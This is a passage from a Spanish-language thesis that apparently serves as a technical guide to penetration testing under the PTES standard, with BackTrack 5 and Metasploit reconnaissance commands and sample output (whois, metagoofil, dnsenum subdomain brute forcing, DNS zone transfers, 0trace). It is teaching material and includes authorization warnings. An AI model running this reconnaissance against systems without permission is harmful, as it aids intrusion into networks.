Cuando se lleva a cabo una evaluación de vulnerabilidad desde afuera, se está tratando de comprometer el sistema desde afuera. Al posicionarse desde afuera de la compañía puede ver las cosas desde el punto de vista del intruso. Usted ve lo que ve un intruso — direcciones IP públicas, sistemas en su DMZ, las interfaces externas de su cortafuegos y más. DMZ viene de "zona desmilitarizada" lo que corresponde a un computador o a una pequeña subred que se coloca entre la red confiable interna, tal como la LAN corporativa, y una red externa no confiable, tal como la Internet. Típicamente, la DMZ contiene dispositivos accesibles al tráfico de la Internet, tal como servidores Web (HTTP), FTP, SMTP (correo electrónico) y servidores DNS.

Cuando realiza una evaluación de vulnerabilidad desde adentro, de alguna forma se tiene la ventaja, puesto que ya está adentro y su estatus es elevado y de confianza. Puede ver los servidores de impresión, servidores de archivos, bases de datos y otros recursos.

34

Hay diferencias importantes entre estos dos tipos de evaluaciones de vulnerabilidad. Siendo interno a su compañía le otorga mayores privilegios, mucho más que cualquier persona de fuera. Hoy día, en la mayoría de las organizaciones, la seguridad es configurada de forma tal que se mantengan a los intrusos afuera. Se hace muy poco para asegurar la parte interna de la organización (tales como cortafuegos departamentales, controles de acceso a nivel de usuario, procedimientos de autenticación para recursos internos y más). Típicamente, hay muchos más recursos cuando se está adentro y mirando alrededor pues la mayoría de los recursos son internos a la compañía. Una vez que se encuentra fuera de la compañía, inmediatamente se le da condición de no fiable. Los sistemas y recursos que tiene disponibles son típicamente mucho más limitados.

La diferencia entre las evaluaciones de vulnerabilidad y las pruebas de penetración. Una evaluación de vulnerabilidad es el primer paso de una prueba de penetración. La información reunida a partir de la evaluación será usada en las pruebas. Mientras que la evaluación de vulnerabilidad busca huecos y vulnerabilidades potenciales, las pruebas de penetración tratan de explotar los resultados. El acceso a la infraestructura de red es un proceso dinámico. La seguridad, tanto de información como física, es dinámica. Al realizar una evaluación, se tiene una vista general, la cual puede arrojar falsos positivos y falsos negativos.

35

Los administradores de seguridad son buenos en la medida que también lo sean las herramientas que usen y el conocimiento que posean. Por ejemplo, tomemos cualquier herramienta de evaluación disponible en el mercado y ejecutémosla en un sistema. Es casi que garantizado que se encontrará al menos algunos falsos positivos. Bien sea por un error del programa o del usuario, el resultado es el mismo. La herramienta puede encontrar vulnerabilidades que en realidad no existen (falsos positivos), o peor aún, la herramienta puede que no encuentre vulnerabilidades que actualmente si existen (falsos negativos).

Ahora que están definidas las diferencias entre evaluaciones de vulnerabilidad y pruebas de penetración, es una buena idea reunir las conclusiones de la evaluación y revisarlas cuidadosamente antes de llevar a cabo una prueba de penetración como parte de sus nuevos buenos hábitos. Sin embargo, tenga en cuenta que intentar explotar las vulnerabilidades sobre recursos en producción puede tener resultados adversos a la productividad y eficiencia de sus sistemas y redes.

Las pruebas de penetración son una forma de simular los métodos que un atacante podría utilizar para eludir los controles de seguridad y acceso al sistema de una organización. Las pruebas de penetración son más que el mero funcionamiento de escáneres y herramientas automatizadas con el fin de obtener un informe escrito de las

36

vulnerabilidades. Para convertirse en un experto en pruebas de penetración se necesita años de práctica en el mundo real y experiencia para llegar a dominarlas

En

la

actualidad, hay

un

cambio en

la

forma

de definir las

pruebas

de

penetración dentro de la industria de la seguridad informática. Los métodos de ejecución del Estándar de las Pruebas de Penetración (Penetration Testing Execution Standard - PTES) está redefiniendo la forma en que las pruebas de penetración son puestas en práctica tanto por los nuevos profesionales, como por los experimentados en este tema, y que ha sido adoptado por varios miembros destacados de la comunidad de seguridad informática. Su propósito es la de definir y crear conciencia sobre lo que es una verdadera prueba de penetración mediante el establecimiento de una base de referencia sobre los principios fundamentales que se requieren para llevar a cabo una prueba de penetración.

Las PTES están basadas en 7 fases, que están diseñadas para asegurar que la organización y sus clientes posean un nivel estandarizado de seguridad basado en la norma. Las siete categorías en las que se divide la norma poseen diferentes niveles de esfuerzo requerido por cada una de ellas, dependiendo de la organización bajo ataque. Las fases son:

1) Interacción de compromiso organizacional (Pre-engagement Interactions)

37

2) Recolección de datos (Intelligence Gathering) 3) Modelado de las Amenazas (Threat Modeling) 4) Análisis de Vulnerabilidades (Vulnerability Analysis) 5) Explotación de las Vulnerabilidades (Exploitation) 6) Post - Explotación (Post Exploitation) 7) Reporte (Reporting)

Además como dijimos, existen dos tipos de pruebas de penetración: a) Pruebas de penetración externas y b) Pruebas de penetración internas, estas fueron definidas con anterioridad, pero cabe decir que estas se clasifican de acuerdo a la cantidad de información que posee el pen-tester13.

Estas son: 

White Box Test: es un chequeo llevado a cabo por un pen-tester que tiene toda la información acerca del sistema.



Black Box Test: este chequeo es llevado a cabo desde cero, sin información, tal como lo haría un intruso cualquiera y lleva mucho más tiempo.



Grey Box Test: se cuenta con conocimientos parciales del objetivo, siempre brindados por la misma organización.

13

Persona encargada de realizar la prueba de penetración

38

Hoy en día el pen-testing juega un rol importante en la seguridad informática. El auge del internet, las redes LAN y WAN; han permitido el crecimiento de las diferentes técnicas usadas en este tema. En la actualidad existen estándares internacionales que nos sirven como referente en el pen-testing, los cuales han dado lugar a diferentes libros, manuales y herramientas para la puesta en práctica de esta disciplina.

Metasploit Framework y BackTrack 5 son dos poderosas herramientas usadas en las pruebas de penetración, ellas cuentas con una serie de herramientas para abordar las etapas de pen-testing anteriormente descritas. Este cúmulo de programas se orientan en diversas técnicas de ataque tales como: 

Mapeo de redes: Descubrimiento de hosts y servicios en la red, escáner de puertos.



Fingerprinting de sistemas: Descubrimiento de S.O. y servicios, Aplicaciones de Fingerprinting.



Vulnerabilidades en los sistemas: Extracción de información de los servidores, escáner de vulnerabilidades.



Búsqueda de vulnerabilidades en aplicaciones WEB: Cross Site Scripting, Inyección SQL, Etc.

El BackTrack es un conjunto de herramientas para realizar pruebas de penetración, el cual consiste en un disco de arranque basado en la versión de distribución Ubuntu

39

Linux y que se puede trabajar de en vivo (Live) o mediante instalación en el disco duro. Las herramientas incluidas en el BackTrack 5 son las siguientes: 

Recolección de información: Esta categoría contiene varias herramientas que pueden ser utilizadas para obtener información con respecto a un objetivo tal como un servidor DNS, enrutamiento, direcciones de correo electrónico, sitios web, servidores de correo, y así sucesivamente. Esta información se recolecta a través de Internet, sin tocar el entorno del objetivo en estudio.



Mapeo de la red: esta categoría contiene varias herramientas que pueden ser usadas para revisar los computadores y dispositivos de interconexión activos en la red, revisar y recolectar las huellas digitales (fingerprints) de los sistemas operativos, para revisar las aplicaciones usadas por el equipo objetivo, y también para realizar un escaneo de los puertos.



Identificación de las vulnerabilidades: en esta categoría se pueden encontrar herramientas para escanear vulnerabilidades en general y de dispositivos Cisco en particular. También contiene herramientas para llevar a cabo un fuzzing 14 y analizar los protocolos SMB (Server Message Block) y SNMP (Simple Network Management Protocol).



Análisis de aplicaciones Web: esta categoría contiene herramientas que son útiles en una auditoria de aplicaciones web

14

Se llama fuzzing a las diferentes técnicas de testeo de software capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado. Es utilizado como complemento a las prácticas habituales de chequeo de software, ya que proporcionan cobertura a fallos de datos y regiones de código no testados, gracias a la combinación del poder de la aleatoriedad y ataques heurísticos entre otros.

40



Análisis de redes inalámbricas: para auditar redes inalámbricas, bluetooth e identificadores de radio frecuencias (RFID)



Penetración: esta categoría contiene herramientas que pueden ser usadas para explotar las vulnerabilidades encontradas en la maquina objetivo.



Escalamiento de privilegios: después de explotar las vulnerabilidades y ganar el acceso a la maquina objetivo, se pueden usar las herramientas de esta categoría para escalar privilegios en la maquina atacada, desde las más bajos (usuarios) hasta los más altos (administradores).



Mantener el acceso: las herramientas de esta categoría le ayudaran a mantener el acceso a la maquina objetivo. Para esto es necesario obtener primero un alto privilegio de acceso para poder instalar las herramientas para mantener el acceso.



Voz sobre IP: se usan para analizar VoIP

Además de este conjunto de herramientas BackTrack posee otras que se pueden usar en: Informática Forense e ingeniería inversa.

Por otro lado, el Metasploit Framework

es una herramienta que posee un

sistema completo que proporciona la infraestructura necesaria para automatizar rutinas y tareas

complejas.

Este

permite concentrarse

en los

aspectos

singulares o

especializados de la pruebas penetración y en la identificación de fallas dentro de su programa de seguridad de la información.

41

También le permite establecer unas metodologías muy completas, en donde fácilmente se pueden construir vectores de ataques para incrementar sus exploits, payloads, encoders y mucho más, con el fin de crear y ejecutar ataques más avanzados. Este pose varias herramientas de terceros, tales como Nmap, NSLookUp, Netcraft, etc.

También existen manuales y libros que exponen el uso de las herramientas antes mencionadas. Presentan diferentes escenarios de ataque con los cuales podemos aprender a usar las rutinas necesarias para descubrir, evaluar y mitigar las fallas de seguridad.

2.5. OBJETIVOS

2.5.1. OBJETIVO GENERAL Diseñar e implementar una guía técnica para la realización de pruebas de penetración con el fin de evaluar, analizar, clasificar, reducir y controlar los riesgos en la seguridad informática de una red de computadores LAN

2.5.2. OBJETIVOS ESPECIFICOS 2.5.2.1. Identificar los diferentes tipos de ataques posibles a una red de computadores mediante de una evaluación de riesgos

42

2.5.2.2. Aprender a buscar y reconocer las vulnerabilidades en una red de computadores, basados en las metodologías de hacking de detección existentes 2.5.2.3. Aplicar y dominar las diferentes fases que se llevan a cabo en las pruebas de penetración 2.5.2.4. Instalar y manejar de forma adecuada las herramientas usadas en las pruebas de penetración y la evaluación de vulnerabilidades 2.5.2.5. Desarrollar las diferentes medidas de mitigación de amenazas basados en la evidencia recolectada 2.5.2.6. Realizar un análisis de riesgo para determinar que componentes del sistema informático que requieren protección.

2.6. METODOLOGÍA PROPUESTA Una vez identificada la problemática que dio origen al presente proyecto, los investigadores encuentran una serie de inquietudes e ideas que deben ser canalizadas, organizadas en forma secuencial y priorizadas, con el fin de establecer un cronograma de trabajo por etapas que lleve a la adopción de un método que indique el camino hacia la consecución del objetivo primordial de este proyecto.

Las diferentes etapas establecidas que constituyen el método aplicado por los investigadores en el presente proyecto son: fase preliminar, análisis general, análisis específico, diseño, implementación, operación y mantenimiento, en donde la promoción

43

de cada una de ellas representa la consecución de un objetivo específico y un aporte significativo para lograr el objetivo general.

Para el desarrollo de la investigación es necesario emplear una metodología idónea, la cual sea apropiada para el tipo de proyecto que permita alcanzar los objetivos propuestos y solucionar el interrogante central al igual que las inquietudes surgidas durante el desarrollo del proyecto.

Para el diseño e implementación de la Guía Técnica que se esta realizando, se utilizará el estudio descriptivo. Este se emplea en esta investigación porque se fundamenta sobre realidades de hecho. Aquí se describe, analiza e interpreta la naturaleza actual del fenómeno en estudio. Según Roberto Hernández Sampieri15, los estudios descriptivos buscan especificar las propiedades importantes de un fenómeno sometido a análisis. Por lo tanto en nuestro proyecto buscamos analizar el comportamiento de cada una de las fases existentes en las pruebas de penetración y a partir de la interpretación de los resultados diseñaremos e implementaremos esta Guía Técnica; poniendo mucha atención en que su funcionamiento y dimensionado este de acuerdo con la interpretación previa.

El método utilizado en la investigación es el deductivo, puesto que en primera instancia se consideró un problema especifico, el cual fue estudiado y analizado tomando en cuenta las situaciones y circunstancias que nos ayudaron a entender y a desarrollar 15

SAMPIERI H, Roberto Metodología de la Investigación. Mc Graw Hill.1991. Pág.47.

44

mejor nuestra propuesta de investigación, con el fin de sacar conclusiones a partir de las premisas obtenidas previamente y que a su vez definen las condiciones del proyecto.

3. ANÁLISIS DE RESULTADO Y PROPUESTA INGENIERIL Los requerimientos previos para el inicio de una evaluación y posterior prueba de penetración de un sistema determinado se muestran en la siguiente tabla:

Tabla #?: Fases del estándar PTES (Penetration Testing Execution Standart)

DESCRIPCIÓN

FASES

Ocurre cuando se discute el alcance y los términos de la prueba de penetración con su cliente. Es de suma

Interacciones de Compromiso Organizacional (Pre-engagement Interactions)

importancia que durante el pre-compromiso se transmitan los objetivos del trabajo. Esta fase también sirve como oportunidad de educar a los clientes acerca de lo que se espera, del alcance total de la prueba de penetración sin restricciones con respecto a lo que se puede y lo que se pondrá a prueba durante el trabajo.

Aquí se reúne toda la información que se puede acerca de la organización que está evaluando. Esta información nos

Recolección de Datos (Intelligence Gathering)

dará una visión valiosa sobre los tipos de controles de seguridad que existen en el lugar. Se intentará identificar qué mecanismos de protección se aplicaran en el lugar para realizar pruebas iníciales en el sistema.

45

En esta fase se usa la información adquirida en la fase anterior, para identificar cualquier vulnerabilidad existente en el sistema. Cuando se realiza el modelo de las amenazas,

Modelado de las Amenazas (Threat Modeling)

se determinará los métodos de ataques más efectivos, La información del cómo puede ser atacado el sistema. El modelo de amenazas consiste observar a una organización como un adversario y tratar de atacar sus debilidades como un atacante lo haría.

Habiendo identificado el método de ataque más viable,

Análisis de Vulnerabilidades (Vulnerability Analysis)

ahora se necesita considerar como acceder al objetivo. Durante este análisis, se combinara la información que usted aprendió de las fases anteriores y utilizarlas para determinar cuáles ataques pueden ser viables.

La fase de explotación de una prueba de penetración se centra exclusivamente en el establecimiento de un sistema de acceso a los recursos o saltarse las restricciones de seguridad de un sistema. Si la fase previa, análisis de vulnerabilidad se ha realizado correctamente, esta fase debe estar bien planificada para lanzar

Explotación de las Vulnerabilidades (Exploitation)

un ataque con

precisión. El objetivo es identificar el punto de entrada principal en la organización y de identificar los activos de alto valor objetivo. Si la fase de análisis de vulnerabilidad se completó correctamente, una obtendrá una lista de valores objetivo de alto valor que se han cumplido. En definitiva, el vector de ataque debe tener en cuenta la probabilidad de éxito y de mayor impacto en la organización.

46

El propósito de la fase de post-explotación es el de determinar el valor de la máquina comprometida y para mantener el control de la máquina para su uso posterior. El valor de la máquina está determinado por la sensibilidad de los datos almacenados en ella y la utilidad de las máquinas de comprometer aún más la red. Los métodos descritos en esta fase están destinados a ayudar

Post - Explotación (Post Exploitation)

a los pen-tester identificar y documentar los datos sensibles, identificar opciones de configuración, los canales de comunicación y las relaciones con otros dispositivos de red que se pueden utilizar para obtener un mayor acceso a la red y la configuración de uno o más métodos de acceder a la máquina en un momento posterior. En los casos en que estos métodos difieren de los Reglas de compromiso acordadas, las normas de intervención deben ser seguidas.

La fase de reporte es un documento que tiene por objeto definir los criterios de base para la presentación de informes de pruebas de penetración. Aunque es muy

Reporte (Reporting)

animado a usar su propio formato personalizado y de marca,

se

debe

proporcionar

un alto

nivel de

comprensión de los elementos necesarios dentro de un informe, así como una estructura para el informe de proporcionar un valor para el lector.

De acuerdo a estos requerimientos iniciales podemos separar en bloques constitutivos cada fase del pen-testing. Haremos una breve descripción de las herramientas usadas en cada fase. Se debe tener en cuenta que hemos optado por aplicar la metodología estándar PTES, por lo tanto, hacemos hincapié en que se debe conocer, en profundidad, cada fase que involucra esta metodología. Sin embargo, también se pueden aplicar las otras metodologías expuestas en el presente escrito.

47

FASE I: Interacciones de Pre-compromiso Organizacional: ésta fase define todas las actividades de pre-compromiso organizacional con el cliente, y define el alcance de la prueba de penetración.

FASE II: La Recolección de datos: Se usa para reunir tanta información como sea posible para ser utilizados cuando se penetra en el objetivo, durante la evaluación de la vulnerabilidad y las fases de explotación. Cuanta más información usted es capaz de reunir durante esta fase, son más los vectores de ataque que pueda usar en el futuro.

Se debe tener en cuenta que los procedimientos descritos en esta fase pueden, realmente, dañar su sistema y el sistema objetivo, así que asegúrese de configurar un entorno de prueba. Muchos de los ejemplos aquí presentados pueden ser destructivos y hacer que la maquina atacada quede inutilizable. Las actividades mencionadas aquí se podrían considerar ilegales si se llevan a cabo por alguien con malas intenciones, por lo que se sugiere, de forma enfática, seguir las reglas.

Recolección de Información de Forma Pasiva Mediante la recopilación de información de forma pasiva e indirecta, se puede descubrir la información sobre los objetivos, sin tocar sus sistemas. Por ejemplo, puede utilizar estas técnicas para identificar los límites de la red, identificar a los administradores de la

48

red, e incluso saber qué sistema operativo y cual software de servidor web se está utilizando en la red de destino.

Las herramientas usadas en Metasploit Framework para cumplir con esta fase del Pentesting son:

Whois Lookups Comencemos usando la herramienta Whois Lookup de BackTrack, que hace parte del arsenal de aplicaciones del Metasploit, y que es usada para buscar los nombres de servidores de dominio DNS msf > whois secmaniac.net [*] exec: whois secmaniac.net . . . SNIP . . . Registered through: GoDaddy.com, Inc. (http://www.godaddy.com) Domain Name: SECMANIAC.NET Created on: 03-Feb-10 Expires on: 03-Feb-12 Last Updated on: 03-Feb-10 Domain servers in listed order: NS57.DOMAINCONTROL.COM NS58.DOMAINCONTROL.COM

Donde DOMAINCONTROL.COM es el servidor DNS donde está alojada la página secmaniac.net. Este puede ser un buen ejemplo de un sistema que no podemos incluir en una prueba de penetración, debido a que no poseemos la autorización para atacarlo. Sin embargo, en las más grandes organizaciones, los servidores DNS están ubicados en la compañía haciendo viable el uso de este vector de ataque. Las transferencias de zona y ataques similares DNS, a menudo pueden ser usados para aprender más acerca de una red desde ambos lados, es decir desde afuera de la red o desde adentro de esta. En este

49

panorama, debido a que DOMAINCONTROL.COM no es propietario de secmaniac.net, podríamos pensar en atacar este sistema mediante otro vector de ataque diferente. Netcraft Es una herramienta basada en una página web que puede ser útil para encontrar las direcciones IP del servidor de alojamiento de un sitio web determinado

Site

http://www.secmaniac.com

Last reboot

unknown

Domain

secmaniac.com

Netblock owner

Linode

IP address

75.118.185.142

Site rank

103097

Nameserver

ns1.secmaniac.com

Country

US

Uptime graph

Date first seen

April 2010

DNS admin

[email protected]

Domain Registrar

enom.com

Reverse DNS

li376-220.members.linode.com

Organisation Whois Privacy Protection Service, Inc.

Nameserver Whois Privacy Protection Service, Organisation Inc.

Check another site:

Netcraft Site Report [More Netcraft Gadgets] Gadget

Luego habiendo identificado la dirección IP del sitio web, realizamos un whois lookup para esta dirección IP msf > whois 75.118.185.142 [*] exec: whois 75.118.185.142 WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1) 75.118.0.0 - 75.118.255.255 WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1) 75.118.184.0 - 75.118.191.255

Vemos que del whois lookup realizado, la dirección IP (WIDEOPENWEST) aparece como un proveedor de servicio legítimo. Mientras que el actual rango de subred no está específicamente registrado a secmaniac.net o secmaniac.com, podemos decir que este sitio 50

aparece como alojado dentro de una ubicación propia, esto se puede percibir porque el bloque de direcciones IP aparece como una parte de un rango residencial de direcciones

NSLookup Para conseguir información adicional de un servidor,

podremos usar la herramienta

BackTrack nslookup, la cual está incluida en la mayoría de los sistemas operativos.

root@bt:~# nslookup set type=mx > secmaniac.net Server: 172.16.32.2 Address: 172.16.32.2#53 Non-authoritative answer: secmaniac.net mail exchanger = 10 mailstore1.secureserver.net. secmaniac.net mail exchanger = 0 smtp.secureserver.net.

Observamos en la lista que los servidores de correo apuntan al mailstore1.secureserver.net y smtp.secureserver.net. Una rápida búsqueda en este servidor de correo nos dice que este sitio web está alojado por un tercero, el cual podría no estar dentro del alcance de nuestra prueba de penetración.

En este punto hemos recopilado cierta información valiosa la cual podríamos usar para realizar un ataque contra la maquina o el sistema objetivo. Sin embargo, tendremos que recurrir a las técnicas de recopilación de información activa para determinar el estado de los puertos de la dirección IP objetivo, la cual es 75.118.185.142.

51

Las herramientas usadas en BackTrack 5 que se usan para cumplir con esta fase del Pentesting son:

Metagoofil Es usada para recolectar información de documentos disponibles en el dominio objetivo. La ventaja de usar esta herramienta es que no se accede a la información directamente, sino a través de Google, de tal forma que el sitio web atacado no sabrá quien está realizando las acciones sobre él. # cd /pentest/enumeration/google/metagoofil # ./metagoofil.py

Luego nos muestra lo siguiente ************************************* * Metagoofil Ver 2.1 * * Christian Martorella * * Edge-Security.com * * cmartorella_at_edge-security.com * * Blackhat Arsenal Edition * ************************************* Metagoofil 2.1: Usage: metagoofil options -d: domain to search -t: filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx) -l: limit of results to search (default 200) -h: work with documents in directory (use "yes" for local analysis) -n: limit of files to download -o: working directory -f: output file Examples: metagoofil.py -d microsoft.com -t doc.pdf -l 200 -n 50 -o microsoftfiles -f results.html metagoofil.py -h yes -o microsoftfiles -f results.html (local dir analysis)

Para realizar la prueba tecleamos en la línea de comando lo siguiente

52

# ./metagoofil.py -d targetdomain -l 20 -f output.html -o docfiles -t .pdf

Donde cada una de las opciones esta descritas en el cuadro anterior. El resultado de un posible comando valido puede ser: [+] Command extract found, proceeding with leeching [+] Searching in targetdomain for: pdf [+] Total results in google: 1480 [+] Limit: 20 [+] Searching results: 0 [ 1/20 ] http://targetdomain/knowledge_warehouse/Netbook.pdf [ 2/20 ] http://targetdomain/Bulletin/Edisi_4_Agustus_1.pdf ... [+] Searching in targetdomain for: doc [+] Total results in google: 698 [+] Limit: 20 [+] Searching results: 0 [+] Directory test already exist, reusing it ... [ 8/20 ] http://targetdomain/data/file20070813152422391.doc [ 9/20 ] http://targetdomain/data/file20080224161424426.doc ... [+] Searching in targetdomain: xls [+] Total results in google: 212 [+] Limit: 20 [+] Searching results: 0 [+] Directory test already exist, reusing it [ 1/20 ] http://targetdomain/data/Unpublish/1000Sumatera.xls [ 2/20 ] http://targetdomain/data/Unpublish/1200Sumut.xls ... Usernames found: ================ Author(User)User Regulator Lawful user USER Monitoring Pink-7 Paths found: \ (Windows\))/Author(User)/\ Normal\

53

[+] Process finished

Podemos ver que por medio de esta herramienta lo siguiente: la búsqueda se hace el targetdomain, el cual puede ser cualquier servidor o host que almacene documentos. El límite de búsqueda de documentos es 20. En caso de encontrar un documento metagoofil mostrara una línea con la dirección web donde está el documento, por ejemplo: http://targetdomain/knowledge_warehouse/Netbook.pdf.

Información DNS Las herramientas agrupadas en esta categoría pueden ser usadas para obtener información acerca del Sistema de Nombres de Dominio, también conocido como DNS (Domain Name System), así como también la configuración del Servidor DNS. Comenzamos con:

DNS Walk Esta herramienta busca información completa de la lista de direcciones IP almacenados en un servidor DNS. Esta funciona usando una transferencia de zona DNS, la cual es un mecanismo usado para replicar una base de datos desde un servidor DNS maestro a otro servidor DNS, usualmente llamado servidor DNS esclavo. Con este mecanismo los servidores DNS se sincronizan, en donde dicha sincronización en el protocolo DNS es usada por el que realiza la prueba de penetración para recopilar información del dominio objetivo.

54

# cd /pentest/enumeration/dns/dnswalk # ./dnswalk targetdomain.

Observamos que en el segundo comando, al final se coloca un punto (.). A continuación se muestra el resultado del comando: Checking targetdomain. Getting zone transfer of targetdomain. from ns1.targetdomain...done. SOA=ns.targetdomain contact=admin.targetdomain WARN: af-colo.targetdomain A 10.255.xx.xx: no PTR record WARN: core.targetdomain A 192.168.xx.xx: no PTR record WARN: distga.targetdomain A 192.168.xx.xx: no PTR record WARN: distgb.targetdomain A 192.168.xx.xx: no PTR record WARN: distgc.targetdomain A 192.168.xx.xx: no PTR record WARN: mxbackup.targetdomain A 192.168.xx.xx: no PTR record WARN: ns2.targetdomain A 192.168.xx.xx: no PTR record WARN: ftp.streaming.targetdomain CNAME stream.targetdomain: unknown host WARN: test.targetdomain A 192.168.xx.xx: no PTR record WARN: webmail2.targetdomain A 192.168.xx.xx: no PTR record WARN: www2.targetdomain A 192.168.xx.xx: no PTR record

Debe tenerse en cuenta que hoy en día los servidores DNS no permiten la transferencia de zona; los administradores de red monitorizan este comportamiento debido a que representan una alarma de ataque contra el servidor.

DNSenum Esta herramienta funciona de la misma forma que dns walk, pero tiene unos enfoques adicionales, los cuales son: es capaz de conseguir nombres de subdominios extra usando Google search engine; halla nombres de subdominios mediante fuerza bruta (dnsenum incluye un archivo de texto llamado “dns.txt” que contiene 95 nombres de subdominios; puede llevar a cabo consultas whois en los intervalos de dominio de red clase C y calcula

55

los rangos de red; lleva a cabo búsquedas inversas (reverse lookup) en un determinado intervalo de red; usa threads (hilos) para realizar diferentes consultas.

Para acceder a la herramienta dnsenum escribimos el siguiente comando: # cd /pentest/enumeration/dnsenum # ./dnsenum.pl

El menú de ayuda se muestra a continuación: dnsenum.pl VERSION:1.2.2 Usage: dnsenum.pl [Options] [Options]: Note: the brute force -f switch is obligatory. GENERAL OPTIONS: --dnsserver Use this DNS server for A, NS and MX queries. --enum Shortcut option equivalent to --threads 5 -s 20 -w. -h, --help Print this help message. --noreverse Skip the reverse lookup operations. --private Show and save private ips at the end of the file domain_ips.txt. --subfile Write all valid subdomains to this file. -t, --timeout The tcp and udp timeout values in seconds (default: 10s). --threads The number of threads that will perform different queries. -v, --verbose Be verbose: show all the progress and all the error messages. GOOGLE SCRAPING OPTIONS: -p, --pages The number of google search pages to process when scraping names, the default is 20 pages, the -s switch must be specified. -s, --scrap The maximum number of subdomains that will be scraped from Google. BRUTE FORCE OPTIONS: -f, --file Read subdomains from this file to perform brute force. -u, --update Update the file specified with the -f switch with valid subdomains. a (all) Update using all results. g Update using only google scraping results. r Update using only reverse lookup results. z Update using only zonetransfer results. -r, --recursion Recursion on subdomains, brute force all discovred subdomains that have an NS record. WHOIS NETRANGE OPTIONS: -d, --delay The maximum value of seconds to wait between whois queries, the

56

value is defined randomly, default: 3s. -w, --whois Perform the whois queries on c class network ranges. **Warning**: this can generate very large netranges and it will take lot of time to performe reverse lookups. REVERSE LOOKUP OPTIONS: -e, --exclude Exclude PTR records that match the regexp expression from reverse lookup results, useful on invalid hostnames. OUTPUT OPTIONS: -o --output Output in XML format. Can be imported in MagicTree (www.gremwell.com)

La sintaxis para ejecutar una búsqueda de información es: # ./dnsenum.pl targetdomain

El cual mostrará el siguiente resultado: ----- targetdomain ----Host's addresses: targetdomain. Name servers: ns2.targetdomain. ns.targetdomain. ns1.targetdomain. MX record: maildev.targetdomain.

1800

IN

A

192.168.xx.xx

1515 1515 1514

IN IN IN

A A A

192.168.xx.xx 192.168.xx.xx 192.168.xx.xx

1458

IN

A

192.168.xx.xx

En el caso anterior se muestra cuando no es posible realizar una transferencia de zona, por lo tanto se intentará usar un ataque de fuerza bruta a partir del archivo “dns.txt”. Este será el comando apropiado: # ./dnsenum.pl -f dns.txt targetdomain

El cual resultará en la obtención de varios subdominios del objetivo, así:

57

-----------------------------Brute forcing with dns.txt: -----------------------------ns.targetdomain. 940 ntp.targetdomain. 1010 pop.targetdomain. 1007 smtp.targetdomain. 1004 voips.targetdomain. 993 www.targetdomain. 1667 ------------------------------targetdomain c class netranges: ------------------------------192.168.xx.0/24

IN IN IN IN IN IN

A A A A A A

192.168.xx.xx 192.168.xx.xx 192.168.xx.xx 192.168.xx.xx 192.168.xx.xx 192.168.xx.xx

Luego si se presenta el caso en el que el objetivo permite la transferencia de zona, aplicamos el siguiente comando: # ./dnsenum.pl targetdomain

Con el cual obtendremos el siguiente resultado --------------------Trying Zonetransfers: --------------------trying zonetransfer for targetdomain on ns1.targetdomain ... targetdomain. 1800 IN SOA ns.targetdomain. admin. targetdomain. ( 2011010101 ; Serial 3600 ; Refresh 600 ; Retry 86400 ; Expire 900 ) ; Minimum TTL targetdomain. 1800 IN MX 10 maildev.targetdomain. targetdomain. 1800 IN A ww.xx.yy.zz targetdomain. 1800 IN NS ns.targetdomain. targetdomain. 1800 IN NS ns1.targetdomain. targetdomain. 1800 IN NS ns2.targetdomain. ... voips.targetdomain. 1800 IN A ww.xx.yy.zz vpn.targetdomain. 1800 IN A ww.xx.yy.zz webdev.targetdomain. 1800 IN A ww.xx.yy.zz webmail.targetdomain. 1800 IN CNAME webdev.targetdomain. webmail2.targetdomain. 1800 IN A ww.xx.yy.zz dev.www.targetdomain. 1800 IN A ww.xx.yy.zz www2.targetdomain. 1800 IN A ww.xx.yy.zz

58

Aquí se puede observar una valiosa información recopilada tal como las direcciones IP internas, y los mapas de direcciones IP de los host activos (Alive). Información de enrutamiento En esta categoría se agrupan ciertas herramientas especializadas en la recolección de información sobre el enrutamiento

0trace Es una herramienta que puede ser usada de forma pasiva para rastrear la ruta entre el pentester y el dispositivo objetivo. Usa protocolos comunes como HTTP o SNMP para alcanzar el firewall, y utiliza paquetes basados en TTL (Time To Live). Para usar esta herramienta se escribe el siguiente comando sobre el Shell: # /usr/local/sbin/0trace.sh eth0 ww.xx.yy.zz

Luego se muestra el siguiente resultado 0trace v0.01 PoC by [+] Waiting for traffic from target on eth0... # nc ww.xx.yy.zz 80 GET / HTTP/1.0 [+] Traffic acquired, waiting for a gap... [+] Target acquired: 192.168.1.107:47508 -> ww.xx.yy.zz:80 (1288590921/1421483500). [+] Setting up a sniffer... [+] Sending probes... TRACE RESULTS ------------1 192.168.1.1 2 10.1.248.1 3 wa.xx.yy.zz 4 wb.xx.yy.zz 5 wc.xx.yy.zz 6 wd.xx.yy.zz

59

7 ww.xx.yy.zz Target reached

Itrace Esta es una herramienta capaz de realizar la tarea de traceroute, pero realizando solicitudes de eco ICMP (Internet Control Message Protocol). Si un firewall bloquea un traceroute, pero permite una solicitud de eco ICMP, entonces se puede itrace para trazar la ruta detrás de un firewall. Con el siguiente comando se activa la funcionalidad de esta herramienta root@bt:/pentest/enumeration/irpas# # itrace -i -d

./itrace: invalid option -- 'h' Usage: ./itrace [-vn] [-pX] [-mX] [-tX] -i -d -v verbose -n reverse lookup IPs -pX send X probes (default=3) -mX maximum TTL (default=30) -tX timeout X sec (default=3) -i use this device -d trace to this destination

Donde device es la tarjeta de red targethost es la tarjeta del host de destino

Recolección de Información de Forma Activa Si recolectamos la información necesaria para realizar el pen-testing de forma activa, interactuaremos directamente con el sistema en evaluación. En este modo de recolección de información podemos: escanear los puertos para determinar cuales están abiertos o identificar cuales servicios están corriendo en el servidor objetivo.

60

NMap Habiendo identificado el rango de direcciones IP de la red donde está ubicado el equipo objetivo mediante el método pasivo de recolección de información, comenzamos escaneando los puertos en busca de aquellos que estén abiertos. Este es un proceso en donde meticulosamente conectamos con los puertos de la maquina remota, con el fin de identificar cuál de ellos están activos y escuchando. La herramienta que mas uso tiene para este cometido es NMap. Para realizar un escaneo exitoso, esta herramienta se basa en un conjunto de banderas o “flags”, las cuales hacen que su desempeño sea versátil para nuestros requerimientos en la búsqueda de información útil.

